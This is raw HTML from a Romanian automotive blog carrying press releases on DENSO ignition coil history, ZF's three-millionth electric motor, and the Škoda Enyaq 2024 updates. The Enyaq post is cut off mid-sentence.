src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvaQCPuZZF6sRMh56fogGV7-ugHNhyv5MTvCn7jzIn6zTJ4KNM4niB_fuDDjxUEa5DXpRYbCHdwWqrEFRLzLTIiGam6DmIdGAbISxUId24Opl0HQPAsXrGu_TWBzgtkT3lN13IohMXlj1zFJkQOE1tB4L3jg1DP-2IBS1dMCsauurzmpIDAZi4WdsZ0OH4/s16000/bobine-de-aprindere-denso.jpg" title="DENSO evidențiază evoluția bobinei de aprindere" /></a></span></div><span style="font-family: arial;"><br /></span><p></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">DENSO este un lider de lung</span></b><b><span style="color: #1d2228;">ă</span></b><b><span style="color: #1d2228;"> durat</span></b><b><span style="color: #1d2228;">ă</span></b><b><span style="color: #1d2228;"> în tehnologia
de aprindere direct</span></b><b><span style="color: #1d2228;">ă</span></b><b><span style="color: #1d2228;"> care lucreaz</span></b><b><span style="color: #1d2228;">ă</span></b><b><span style="color: #1d2228;"> în strâns</span></b><b><span style="color: #1d2228;">ă</span></b><b><span style="color: #1d2228;"> cooperare cu produc</span></b><b><span style="color: #1d2228;">ă</span></b><b><span style="color: #1d2228;">torii de vehicule din întreaga lume </span></b><b><span style="color: #1d2228;">ș</span></b><b><span style="color: #1d2228;">i, în 1996, a dezvoltat prima bobin</span></b><b><span style="color: #1d2228;">ă</span></b><b><span style="color: #1d2228;"> de aprindere de tip stick compact</span></b><b><span style="color: #1d2228;">ă</span></b><b><span style="color: #1d2228;"> din industria auto, care este în prezent cea mai
comun</span></b><b><span style="color: #1d2228;">ă</span></b><b><span style="color: #1d2228;"> bobin</span></b><b><span style="color: #1d2228;">ă</span></b><b><span style="color: #1d2228;"> de aprindere v</span></b><b><span style="color: #1d2228;">ă</span></b><b><span style="color: #1d2228;">zut</span></b><b><span style="color: #1d2228;">ă</span></b><b><span style="color: #1d2228;"> în industria
auto Aftermarket.</span></b></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><span style="color: #1d2228;">În motoarele de ast</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;">zi cu emisii sc</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;">zute </span><span style="color: #1d2228;">ș</span><span style="color: #1d2228;">i de înalt</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> eficien</span><span style="color: #1d2228;">ță</span><span style="color: #1d2228;">, cheia unei
arderi eficiente este o ie</span><span style="color: #1d2228;">ș</span><span style="color: #1d2228;">ire consistent</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;">, de înalt</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> energie, iar
tensiunea înalt</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> necesar</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> pentru aceast</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> aprindere, în
general între 10 </span><span style="color: #1d2228;">ș</span><span style="color: #1d2228;">i 40 de kilovol</span><span style="color: #1d2228;">ț</span><span style="color: #1d2228;">i este asigurat</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> de bobina de aprindere, care este un tip de
aprindere ce prezint</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> bobine primare </span><span style="color: #1d2228;">ș</span><span style="color: #1d2228;">i secundare de sârm</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> înf</span><span style="color: #1d2228;">ăș</span><span style="color: #1d2228;">urate în
straturi în jurul unui miez de fier.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><span style="color: #1d2228;">Rolul bobinei de aprindere este de a transforma cei
12 vol</span><span style="color: #1d2228;">ț</span><span style="color: #1d2228;">i nominali din
bateria unei ma</span><span style="color: #1d2228;">ș</span><span style="color: #1d2228;">ini în mii de
vol</span><span style="color: #1d2228;">ț</span><span style="color: #1d2228;">i necesari
bujiei pentru a genera scânteile necesare pentru a aprinde amestecul de aer </span><span style="color: #1d2228;">ș</span><span style="color: #1d2228;">i combustibil din interiorul camerei de ardere Dar
unde a început acest proces?</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><span style="color: #1d2228;">De</span><span style="color: #1d2228;">ș</span><span style="color: #1d2228;">i sistemele de
aprindere au evoluat cu siguran</span><span style="color: #1d2228;">ță</span><span style="color: #1d2228;"> de-a lungul
timpului, în special pe m</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;">sur</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> ce încorporeaz</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> din ce în ce mai mult</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> electronic</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;">, ele poart</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> înc</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> semnele
distinctive ale sistemelor originale de aprindere cu bobine, care au fost
introduse cu mai bine de 100 de ani în urm</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;">.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><span style="color: #1d2228;">Primul sistem de aprindere bazat pe bobine este
creditat inventatorului american Charles Kettering, care l-a dezvoltat pentru
un mare produc</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;">tor de vehicule în
1910, prin conceperea unui sistem electric care a alimentat motorul de pornire </span><span style="color: #1d2228;">ș</span><span style="color: #1d2228;">i aprinderea în acela</span><span style="color: #1d2228;">ș</span><span style="color: #1d2228;">i timp. Bateria, un generator </span><span style="color: #1d2228;">ș</span><span style="color: #1d2228;">i un sistem electric al vehiculului mai complet au
asigurat o alimentare electric</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> relativ stabil</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> bobinei de aprindere. În mod uimitor, acesta a
devenit practic singurul tip de sistem de aprindere pentru motoarele pe benzin</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;">, pân</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> când sistemele
de aprindere cu comutare </span><span style="color: #1d2228;">ș</span><span style="color: #1d2228;">i control
electronic au început s</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> înlocuiasc</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> sistemele mecanice, în anii 1970 </span><span style="color: #1d2228;">ș</span><span style="color: #1d2228;">i 1980.</span></span></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"></span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: arial;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlpYGAVFSqS3wbx9p5k1Yk3DN9XtG8YCt0__OEr1PMg7fPZ1jgM056cSVol5qEZJn5BiSiEL6jsyM7piPRm-Op549W6rviZNdXGW2M2KHxyONj_RgeqBLXnG0uBZpDa02RQUhFyrxny1WdnU5xxFKDzu5ZvQ3T0LsrTTN9j38UrMEsRDT4gxdS5ArN_Rx8/s744/sistemul-kettering.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Charles Kettering" border="0" data-original-height="339" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlpYGAVFSqS3wbx9p5k1Yk3DN9XtG8YCt0__OEr1PMg7fPZ1jgM056cSVol5qEZJn5BiSiEL6jsyM7piPRm-Op549W6rviZNdXGW2M2KHxyONj_RgeqBLXnG0uBZpDa02RQUhFyrxny1WdnU5xxFKDzu5ZvQ3T0LsrTTN9j38UrMEsRDT4gxdS5ArN_Rx8/s16000/sistemul-kettering.jpg" title="Sistemul Kettering" /></a></span></div><span style="color: #1d2228; font-family: arial;">Sistemul Kettering a folosit o singur</span><span style="color: #1d2228; font-family: arial;">ă</span><span style="color: #1d2228; font-family: arial;"> bobin</span><span style="color: #1d2228; font-family: arial;">ă</span><span style="color: #1d2228; font-family: arial;"> de aprindere
pentru a produce o tensiune înalt</span><span style="color: #1d2228; font-family: arial;">ă</span><span style="color: #1d2228; font-family: arial;">, care a fost
transmis</span><span style="color: #1d2228; font-family: arial;">ă</span><span style="color: #1d2228; font-family: arial;"> unui bra</span><span style="color: #1d2228; font-family: arial;">ț</span><span style="color: #1d2228; font-family: arial;"> al rotorului care a îndreptat efectiv tensiunea c</span><span style="color: #1d2228; font-family: arial;">ă</span><span style="color: #1d2228; font-family: arial;">tre o serie de contacte electrice situate în
ansamblul distribuitorului (un contact pentru fiecare cilindru) </span><span style="color: #1d2228; font-family: arial;">ș</span><span style="color: #1d2228; font-family: arial;">i apoi conectat la bujiile cu scânteie cu fire într-o
succesiune care a f</span><span style="color: #1d2228; font-family: arial;">ă</span><span style="color: #1d2228; font-family: arial;">cut posibil</span><span style="color: #1d2228; font-family: arial;">ă</span><span style="color: #1d2228; font-family: arial;"> distribuirea tensiunii înalte, în ordinea corect</span><span style="color: #1d2228; font-family: arial;">ă</span><span style="color: #1d2228; font-family: arial;"> de aprindere a cilindrului.</span><p></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><span style="color: #1d2228;">Dup</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> introducerea
primelor sisteme de aprindere electronic</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;">, un alt pas
important a avut loc la începutul anilor 80 odat</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> cu dezvoltarea unit</span><span style="color: #1d2228;">ăț</span><span style="color: #1d2228;">ii electronice de control (ECU). Odat</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> cu sosirea sa, în loc ca tensiunea înalt</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> pentru scânteie s</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> fie controlat</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> printr-o rota</span><span style="color: #1d2228;">ț</span><span style="color: #1d2228;">ie mecanic</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> în interiorul
ansamblului distribuitorului, ECU, folosind informa</span><span style="color: #1d2228;">ț</span><span style="color: #1d2228;">ii suplimentare </span><span style="color: #1d2228;">ș</span><span style="color: #1d2228;">i mai precise de func</span><span style="color: #1d2228;">ț</span><span style="color: #1d2228;">ionare a motorului, cum ar fi pozi</span><span style="color: #1d2228;">ț</span><span style="color: #1d2228;">ia arborelui cotit </span><span style="color: #1d2228;">ș</span><span style="color: #1d2228;">i tura</span><span style="color: #1d2228;">ț</span><span style="color: #1d2228;">ia furnizate de
diver</span><span style="color: #1d2228;">ș</span><span style="color: #1d2228;">i senzori, ar
putea dicta când tensiunea ar trebui s</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> porneasc</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> sau s</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> se opreasc</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;">.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><span style="color: #1d2228;">De-a lungul timpului, cererea pentru tura</span><span style="color: #1d2228;">ț</span><span style="color: #1d2228;">ii mai mari ale motorului </span><span style="color: #1d2228;">ș</span><span style="color: #1d2228;">i tensiuni mai mari de scânteie a dus la
introducerea sistemului de aprindere f</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;">r</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> distribuitor (DIS), care utilizeaz</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> o bobin</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> de aprindere
pentru fiecare pereche de cilindri </span><span style="color: #1d2228;">ș</span><span style="color: #1d2228;">i este complet
controlat de ECU, furnizând tensiune înalt</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> direct de la
bobine de aprindere prev</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;">zute cu
aprindere integrat</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;">, la bujii.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><span style="color: #1d2228;">Apoi, în anii 90, au ap</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;">rut bobinele de aprindere DIS simple </span><span style="color: #1d2228;">ș</span><span style="color: #1d2228;">i bobin</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> la bujie (COP),
care sunt montate direct pe bujii, urmate de bobina de aprindere unic</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;">, care este înc</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> tipul care este folosit în cele mai moderne aplica</span><span style="color: #1d2228;">ț</span><span style="color: #1d2228;">ii ast</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;">zi.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><span style="color: #1d2228;">De</span><span style="color: #1d2228;">ș</span><span style="color: #1d2228;">i calitatea
bobinelor echipamentului original (OE) este foarte ridicat</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;">, în comun cu multe componente auto, în timp,
acestea se deterioreaz</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> </span><span style="color: #1d2228;">ș</span><span style="color: #1d2228;">i trebuie înlocuite, dar atelierele care iau în
considerare montarea de orice altceva decât un înlocuitor de calitate OE ar
trebui s</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> se gândeasc</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> de dou</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> ori din cauza
rolului important pe care acestea îl joac</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;">, deoarece f</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;">r</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> o bobin</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> complet func</span><span style="color: #1d2228;">ț</span><span style="color: #1d2228;">ional</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;">, motorul pur </span><span style="color: #1d2228;">ș</span><span style="color: #1d2228;">i simplu nu ar
func</span><span style="color: #1d2228;">ț</span><span style="color: #1d2228;">iona corect.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><span style="color: #1d2228;">DENSO Aftermarket ofer</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> sectorului independent de service </span><span style="color: #1d2228;">ș</span><span style="color: #1d2228;">i repara</span><span style="color: #1d2228;">ț</span><span style="color: #1d2228;">ii o gam</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> de bobine de aprindere de calitate OE, care
cuprinde tipuri de tip bloc, distribuitor, stick </span><span style="color: #1d2228;">ș</span><span style="color: #1d2228;">i COP </span><span style="color: #1d2228;">ș</span><span style="color: #1d2228;">i, prin urmare,
este capabil</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> s</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> r</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;">spund</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> nevoilor multor aplica</span><span style="color: #1d2228;">ț</span><span style="color: #1d2228;">ii.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><span style="color: #1d2228;">Desigur, calitatea este esen</span><span style="color: #1d2228;">ț</span><span style="color: #1d2228;">ial</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;">, motiv pentru
care bobinele de aprindere DENSO beneficiaz</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> de caracteristici precum înf</span><span style="color: #1d2228;">ăș</span><span style="color: #1d2228;">urarea diagonal</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> a celei de-a doua bobine pentru a le reduce
dimensiunea, miezuri cilindrice laminate care maximizeaz</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> suprafa</span><span style="color: #1d2228;">ț</span><span style="color: #1d2228;">a </span><span style="color: #1d2228;">ș</span><span style="color: #1d2228;">i cresc tensiunea, rezultând un design mai mic </span><span style="color: #1d2228;">ș</span><span style="color: #1d2228;">i mai u</span><span style="color: #1d2228;">ș</span><span style="color: #1d2228;">or. De asemenea,
folosesc un tranzistor bipolar cu poart</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> izolat</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;">, un dispozitiv semiconductor de putere care
formeaz</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> în primul rând
un comutator electronic, dezvoltat pentru a combina eficien</span><span style="color: #1d2228;">ț</span><span style="color: #1d2228;">a ridicat</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> cu comutarea
rapid</span><span style="color: #1d2228;">ă</span><span style="color: #1d2228;"> (>1kV </span><span style="color: #1d2228;">ș</span><span style="color: #1d2228;">i >500A).</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Mai multe detalii despre gama de bobine de
aprindere DENSO sunt disponibile pe pagina catalogului electronic DENSO </span></b><b><span style="color: #1d2228;">ș</span></b><b><span style="color: #1d2228;">i cea cu Sisteme de Aprindere.</span></b></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Sursa: Denso România</span><span style="font-family: Segoe UI Symbol, sans-serif;"><o:p></o:p></span></span></p>Constantin Hribanhttp://www.blogger.com/profile/16164390325687512083noreply@blogger.com0tag:blogger.com,1999:blog-4466149833957395360.post-90209370404011712462023-12-15T13:52:00.001+02:002023-12-15T13:52:51.370+02:00ZF sărbătorește producția a trei milioane de motoare electrice<p><span style="font-family: arial;"> </span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: arial;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj95iusjIEI5mnhVWM50MKroQZH__dkzYZ1WtjJVBtUdJk1bJphAELYcO3HYf24kDifB5F3ikIuhPmUBBTS4hkOPk9-2WJlgw8fKzpKqsmPofI5DCQ370pJ3dHafkbqZOs5E0dUgq1inSqsypNCvpMTD42P00ffu5nuCvN2aKHU9vzDIWYgFbR2gDvoqWT0/s744/productie-motoare-electrice-zf.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Producție motoare electrice ZF" border="0" data-original-height="556" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj95iusjIEI5mnhVWM50MKroQZH__dkzYZ1WtjJVBtUdJk1bJphAELYcO3HYf24kDifB5F3ikIuhPmUBBTS4hkOPk9-2WJlgw8fKzpKqsmPofI5DCQ370pJ3dHafkbqZOs5E0dUgq1inSqsypNCvpMTD42P00ffu5nuCvN2aKHU9vzDIWYgFbR2gDvoqWT0/s16000/productie-motoare-electrice-zf.jpg" title="ZF sărbătorește producția a trei milioane de motoare electrice" /></a></span></div><span style="font-family: arial;"><br /></span><p></p><p class="MsoNormal" style="text-align: justify;"><b><u><span style="color: #1d2228;"><span style="font-family: arial;">Compania
tehnologică face față cu brio cererii globale în materie de propulsoare
electrice datorită prezenței la nivel mondial.<o:p></o:p></span></span></u></b></p>
<p class="MsoNormal" style="text-align: justify;"><b><u><span style="color: #1d2228;"><span style="font-family: arial;">Dublarea
producției de motoare electrice în 18 luni.<o:p></o:p></span></span></u></b></p>
<p class="MsoNormal" style="text-align: justify;"><b><u><span style="color: #1d2228;"><span style="font-family: arial;">Transformare
reușită către electromobilitate.<o:p></o:p></span></span></u></b></p>
<p class="MsoNormal" style="text-align: justify;"><b><u><span style="color: #1d2228;"><span style="font-family: arial;">ZF
furnizează motoare electrice drept componente și propulsoare electrice ca
sisteme complete pentru toate clasele de vehicule.</span></span></u></b><b><span style="color: #1d2228;"><o:p><span style="font-family: arial;"> </span></o:p></span></b></p>
<p class="MsoNormal" style="text-align: justify;"><b><span style="color: #1d2228;"><span style="font-family: arial;">ZF a produs mai
mult de trei milioane de motoare electrice, o tehnologie utilizată în întreaga
lume în vehiculele electrice. ZF acoperă un spectru larg de electrificare a
vehiculelor: de la mașini de pasageri cu propulsie electrică și hibrizi plug-in
la motoare electrice pentru vehicule comerciale. Aniversarea producției
semnifică o reducere continuă a dependenței de motoarele cu ardere internă,
precum și o transformare de succes către electromobilitate.</span></span></b></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Cererea globală
de motoare electrice pentru mașinile de pasageri și vehiculele comerciale
crește rapid - la fel și cifrele de producție ale ZF: „În doar 18 luni, ZF și-a
dublat producția de motoare electrice de la aproape un milion și jumătate la
trei milioane”, explică Roland Hintringer, șeful liniei de producție a
motoarelor electrice la ZF, adăugând: „Datorită sistemelor noastre
automatizate, modulare și flexibile în ceea ce privește volumul, suntem
capabili să deservim toți clienții noștri globali, în funcție de
necesități.”</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><b><span style="color: #1d2228;"><span style="font-family: arial;">Alte inovații
pentru eficiență și autonomie extinsă<o:p></o:p></span></span></b></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Cifrele de
producție și prognozele arată că ZF face mari progrese pe calea transformării
către electromobilitate. „Rolul nostru ca inovator este de asemenea un
factor important”, subliniază Roland Hintringer. ZF a anunțat deja că va
dezvolta motorul electric fără magnet I²SM – un motor sincron cu excitație
separată, cu transfer inductiv de energie - pentru producție în serie, care,
spre deosebire de conceptele fără magnet disponibile pe piață în prezent, are
un design unic, compact și beneficiază de cea mai mare densitate de putere și
cuplu. ZF a demonstrat recent potențialul noilor tehnologii dezvoltate, cu
propulsorul electric EVSys800, care se distinge prin eficiența sporită și
autonomia crescută: Prototipul este cu 35% mai ușor decât propulsoarele electrice
actuale și reduce emisiile de CO2 în producție și exploatare cu 20%. Tehnologii
inovatoare de înfășurare a statorului, un nou concept de răcire și designul
compact fac posibile aceste salturi semnificative în optimizare.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><b><span style="color: #1d2228;"><span style="font-family: arial;">Locații de
producție la nivel mondial<o:p></o:p></span></span></b></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">ZF produce deja
motoare electrice în locații din Asia și Europa; facilități de producție sunt
în prezent în curs de instalare în America de Nord. Astfel, compania deservește
principalele piețe auto la următoarele locații: Hangzhou și Shenyang (China),
Pančevo (Serbia), Schweinfurt (Germania), Trnava (Slovacia), Saltillo (Mexic)
și Gray Court (SUA). Capacitățile unităților de producție a motoarelor
electrice în locațiile existente sunt mărite în prezent, pentru a susține cel
mai bine obiectivele ambițioase ale clienților în materie de sustenabilitate și
protecție a climei.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><b><span style="color: #1d2228;"><span style="font-family: arial;">Despre ZF<o:p></o:p></span></span></b></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">ZF este o
companie globală de tehnologie care furnizează sisteme pentru autoturisme,
vehicule comerciale și tehnologie industrială, permițând următoarea generație
de mobilitate. ZF permite vehiculelor să vadă, să gândească și să
acționeze. În cele patru domenii tehnologice: Controlul mișcării vehiculelor,
Siguranța integrată, Conducerea automată și Mobilitatea electrică, ZF oferă
soluții cuprinzătoare de produse și software pentru producătorii de vehicule
consacrați și furnizorii de servicii de transport și mobilitate
recent emergenți. ZF electrifică o gamă largă de tipuri de vehicule. Prin
produsele sale, compania contribuie la reducerea emisiilor, la protejarea
climei și la îmbunătățirea mobilității sigure.<o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Cu aproximativ
165.000 de angajați în întreaga lume, ZF a raportat vânzări de 43,8 miliarde
euro în anul fiscal 2022. Compania operează 168 de locații de producție în 32
de țări.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><b><span style="color: #1d2228;"><span style="font-family: arial;">ZF în România<o:p></o:p></span></span></b></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">ZF are
aproximativ 5.000 de angajați în șase locații din România (București,
Timișoara, Roman, Oravița, Lupeni, Marghita). Printre acestea se numără ZF
R&D Tech Center Timișoara, care s-a desprins din divizia de automotive a
furnizorului român de servicii de inginerie BeeSpeed și face parte din ZF din
ianuarie 2019. BeeSpeed lucra deja pentru Divizia ZF Active Safety Systems
(fosta parte a TRW) din 2008.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Sursa: ZF
România</span><span style="font-family: Arial, sans-serif;"><o:p></o:p></span></span></p>Constantin Hribanhttp://www.blogger.com/profile/16164390325687512083noreply@blogger.com0tag:blogger.com,1999:blog-4466149833957395360.post-67059736278233092212023-12-13T15:34:00.001+02:002023-12-13T15:34:16.356+02:00Škoda Enyaq în 2024: motorizări mai puternice, încărcare mai rapidă, autonomie și mai mare<p><span style="font-family: arial;"> </span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: arial;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPaj2Ic9sbXRKw0g-25LqLSALH7qQZDIcIi8IggvCofEREvlsnLBau6d8oX9V-uPgePIoPMRRKBrSnx9krnvU-jvqwRBmZroaDTcQWCf0cUBf4Q2Ja5bUL486-VVSWpx7ysogiMRtLEeXXJkdfoQCSB-rRPKTXyCbxw_ZJp1Nql7WUtGMsG07nTxj_axb5/s744/Skoda-Enyaq-2024.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Škoda Enyaq 2024" border="0" data-original-height="496" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPaj2Ic9sbXRKw0g-25LqLSALH7qQZDIcIi8IggvCofEREvlsnLBau6d8oX9V-uPgePIoPMRRKBrSnx9krnvU-jvqwRBmZroaDTcQWCf0cUBf4Q2Ja5bUL486-VVSWpx7ysogiMRtLEeXXJkdfoQCSB-rRPKTXyCbxw_ZJp1Nql7WUtGMsG07nTxj_axb5/s16000/Skoda-Enyaq-2024.jpg" title="Škoda Enyaq în 2024: motorizări mai puternice, încărcare mai rapidă, autonomie și mai mare" /></a></span></div><span style="font-family: arial;"><br /></span><p></p><p class="MsoNormal" style="text-align: justify;"><b><u><span style="color: #1d2228;"><span style="font-family: arial;">Anul de fabricație de serie
2024 aduce îmbunătățiri tehnice ample pentru familia Enyaq și extinde gama cu
noua linie de echipare Laurin & Klement.<o:p></o:p></span></span></u></b></p>
<p class="MsoNormal" style="text-align: justify;"><b><u><span style="color: #1d2228;"><span style="font-family: arial;">85 și 85x de 210 kW*
sunt versiunile noi de motorizare, iar variantele RS oferă acum o putere de 250
kW*.<o:p></o:p></span></span></u></b></p>
<p class="MsoNormal" style="text-align: justify;"><b><u><span style="color: #1d2228;"><span style="font-family: arial;">Managementul optimizat
al bateriei și o nouă funcție de pregătire a bateriei reduc timpii de încărcare
la sub 30 de minute.</span></span></u></b></p>
<p class="MsoNormal" style="text-align: justify;"><b><span style="color: #1d2228;"><span style="font-family: arial;">Škoda Auto își actualizează familia de
modele Enyaq cu optimizări considerabile, implementate începând din anul de
fabricație de serie 2024. Pentru prima dată, popularul model 100% electric al
producătorului ceh de automobile va fi disponibil și în varianta Laurin &
Klement, ce include un set extrem de generos de dotări în echiparea standard.
Noutățile tehnice includ motorizări și mai puternice, timpi de încărcare mai
scurți și o autonomie crescută. De asemenea, softul automobilului impresionează
acum cu o nouă interfață mai intuitivă pentru utilizator.</span></span></b></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Martin Jahn, Membru al Consiliului de
Administrație Škoda Auto, responsabil pentru Vânzări și Marketing, a declarat: </span></b><span style="color: #1d2228;">”Familia noastră de modele Enyaq ne-a ajutat să
intrăm cu stil în universul mobilității electrice. Astfel, deja din primele
nouă luni ale anului 2023 am înregistrat un volum de circa 55.000 de unități
livrate la nivel mondial, ceea ce reprezintă o creștere de peste 47% față de
anul precedent. Desigur că acest succes ne motivează, de asemenea, să optimizăm
tot mai mult modelul. Și ca de obicei, ne-am ascultat clienții cu atenție:
astfel, pentru noul an de fabricație de serie, introducem noua linie de echipare
L&K, precum și motorizări și mai puternice și eficiente, plus noua versiune
de soft cu o interfață și mai funcțională și intuitivă pentru sistemul de
infotainment.”</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><b><span style="color: #1d2228;"><span style="font-family: arial;">Putere mai mare, autonomie extinsă și detalii
de design conturate de noul Corporate Identity al mărcii<o:p></o:p></span></span></b></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">La automobilele
produse în anul de fabricație de serie 2024, variantele de motorizare mai
puternice și mai eficiente 85 și 85x înlocuiesc variantele anterioare 80 și
80x. La fel ca modelele sportive RS, și aceste noi motorizări sunt echipate cu
un nou sistem de propulsie mai performant, care include un motor electric
sincron cu magneți permanenți avansat, ce este montat pe puntea spate și ce
poate asigura o viteză maximă de 180 km/h. La Enyaq 85, puterea crește cu 60
kW, la 210 kW, comparativ cu modelul anterior Enyaq 80. Și varianta cu
tracțiune integrală Enyaq 85x generează, de asemenea, 210 kW, fiind astfel
cu 15 kW mai puternică decât predecesorul. Enyaq RS furnizează acum 250 kW,
ceea ce reprezintă o creștere de 30 kW. Bateria optimizată ce dispune acum
de un sistem de management termic avansat crește autonomia la peste 560 de
kilometri pentru SUV-ul Enyaq 85 și respectiv la 570 de kilometri pentru
